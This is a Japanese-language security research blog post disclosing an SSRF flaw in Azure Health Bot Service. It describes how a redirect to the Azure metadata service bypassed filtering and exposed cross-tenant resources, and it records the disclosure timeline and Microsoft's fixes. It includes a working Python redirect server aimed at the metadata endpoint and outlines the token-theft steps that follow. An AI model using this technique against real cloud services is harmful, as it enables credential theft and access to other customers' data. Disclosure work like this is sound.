Tenable Research が、サーバーサイドリクエストフォージェリ (SSRF) を介した Azure Health Bot Service 内における複数の権限昇格の問題を発見しました。この問題を悪用されると、テナント間リソースへのアクセスが可能であることがわかりました。

キーポイント

• Azure Health Bot Service は、医療専門家による AI を搭載した仮想医療アシスタントの導入を可能にするクラウドプラットフォームです。
• Tenable Research は、深刻な脆弱性を発見しました。この脆弱性が悪用されると、同サービス内のテナント間リソースへのアクセスを許すこととなります。付与されるアクセスレベルに基づくと、他のリソースへのラテラルムーブメントも可能であったおそれがあります。
• Microsoft によれば、影響を受けるすべてのサービスと地域で、これらの問題に対する緩和策がすでに適用されているとのことです。お客様で行っていただくことはありません。

^{(出典: ChatGPT 4o / DALL-E で生成した画像 作成: Nick Miles)}

Azure Health Bot Service の概要

Microsoft は Azure Health Bot Service について、次のように説明しています。

「Azure Health Bot Service は、医療組織の開発者による、コンプライアンスに準拠した AI 搭載の仮想健康アシスタントの構築・導入、プロセスの改善とコストの削減を支援する、クラウドプラットフォームです。これにより医療組織は、医療従事者の管理作業負荷の管理をしやすくするアシスタントを導入したり、患者と関わるエクスペリエンスを作成したりできます」

このサービスを利用すると、基本的には医療提供者は患者向けのチャットボットを作成して導入し、自社の環境内で管理ワークフローを処理できるようになります。したがって、これらチャットボットは一般に患者の機密情報にある程度アクセスできる状態にあります (とはいえ、これらが利用できる情報は各ボットの設定に応じて異なる場合があります)。

Tenable の研究者は、セキュリティに関する問題についてこのサービスを監査しているときに、 サービスのドキュメントにある「データ接続」と呼ばれる機能に興味を持ちました。ボットは、これらデータ接続機能を用いて外部データソースとやり取りし、患者情報のポータルや一般的な医療情報の参照データベースなど、プロバイダーが使用している可能性のある他のサービスから情報を取得できます。

最初の発見

このデータ接続機能は、サービスのバックエンドがサードパーティの API にリクエストを行えるように設計されています。Tenable の研究者がこれらデータ接続機能をテストして、サービス内部のエンドポイントとやり取りできるかどうかを確認したところ、Azure の内部メタデータサービス (IMDS) などの多くの一般的なエンドポイントは、適切なフィルタリングや、アクセスできない状態の維持が可能でした。しかし詳しく調べてみると、リダイレクト応答 (301/302 ステータスコードなど) を発行した場合は、これらの緩和策を回避できることが判明しました。

「サーバーサイドリクエストフォージェリは、攻撃者がリモートホスト上のアプリケーションに意図しない場所へのリクエストを強制的に送信できるようにするウェブセキュリティの脆弱性です」

たとえば、サービスのシナリオエディタ内でデータ接続を構成すると、制御下にある外部ホストを指定できることがわかりました。

この外部ホストでは、Azure の IMDS 宛ての 301 リダイレクト応答でリクエストに応答するように構成しています。

#!/usr/bin/python3
from http.server import HTTPServer, 
BaseHTTPRequestHandler


def servePage(s, hverb):
    s.protocol_version = 'HTTP/1.1'
    s.server_version = 'Microsoft-IIS/8.5'
    s.sys_version = ''
    s.send_response(301)

s.send_header('Location','http://169.254.169.254/metadata/instance?api-version=2021-12-13')
    s.end_headers()
    message = ""
    s.wfile.write(bytes(message, "utf8"))
    return

class StaticServer(BaseHTTPRequestHandler):
    def do_GET(self):
        servePage(self, "GET")
        return

def main(server_class=HTTPServer, 
handler_class=StaticServer, port=80):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    httpd.serve_forever()


main()

有効なメタデータ応答を取得した後、management.azure.com のアクセストークン取得を試みました。

このトークンを使用した結果、 https://management.azure.com/subscriptions?api-version=2020-01-01 への呼び出しを介してアクセス可能なサブスクリプションを一覧表示できました。これには、Microsoft 内部のサブスクリプション ID も含まれています。

最終的に、https://management.azure.com/subscriptions/<REDACTED>/resources?api-version=2020-10-01 経由でアクセスできるリソースも一覧表示できました。結果として得られたリソースの一覧には、他の顧客に属する何百ものリソースが含まれていました。

簡単な解決

Tenable の研究者は、これらのリソースにテナント間情報 (サービスの他のユーザー/顧客の情報) を示す識別子が含まれていることを確認した後、この攻撃経路の調査を直ちに中止し、2024 年 6 月 17 日に MSRC に調査結果を報告しました。MSRC は Tenable の報告を確認し、同日調査を開始しました。

MSRC は 1 週間以内に Tenable の報告を確認し、影響を受けた環境への修正の導入を開始しました。7 月 2 日現在、MSRC は修正がすべての地域に導入されたと発表しています。Tenable の知る限り、この問題が悪意のある攻撃者によって悪用されたことを示す証拠は発見されていません。

再度の発見

MSRC がこの問題を修正したと発表した後、Tenable Research は中断したところから再開し、開示プロセス中に MSRC に提供された元の概念実証が機能しなくなったことを確認しました。結局この問題は、データ接続エンドポイントのリダイレクトステータスコードをすべて拒否するだけで、この攻撃経路を排除して解決できました。

とはいえ、研究者は FHIR エンドポイントのデータ接続の検証に使用される別のエンドポイントも発見しました。この検証メカニズムは、上記と同じ攻撃に対して多かれ少なかれ脆弱でした。この問題と最初の問題の違いは、全体的な影響です。FHIR エンドポイントを悪用した経路にはリクエストヘッダーに影響を与える機能がなかったため、IMDS に直接アクセスする能力は限定的でした。この経路を介すると他のサービス内部にはアクセスできますが、Microsoft は、この特定の脆弱性にはテナント間アクセスがないと述べています。

以前と同様、研究者は直ちに調査を中止し、クロステナントリソースへのアクセスに関する MSRC のガイダンスを尊重し、Microsoft に発見事項を報告しました。この 2 番目の問題は 7 月 9 日に報告され、7 月 12 日までに修正プログラムが利用可能になりました。最初の問題と同様、Tenable の知る限り、この問題が悪意のある攻撃者によって悪用されたことを示す証拠は発見されませんでした。

まとめ

この記事で取り上げた脆弱性は、AI モデル自体ではなく、AI チャットボットサービスの基盤となるアーキテクチャの欠陥に関係しています。先週の Tenable リサーチのブログ記事で Lucas Tamagna-Darr が説明したように、AI を活用したサービスが広く利用されるようなこの新しい時代においても、従来のウェブアプリケーションとクラウドセキュリティメカニズムが引き続き重要であることが浮き彫りになりました。

この投稿で言及されている各発見に関する詳細については、TRA-2024-27 および TRA-2024-28 を参照してください。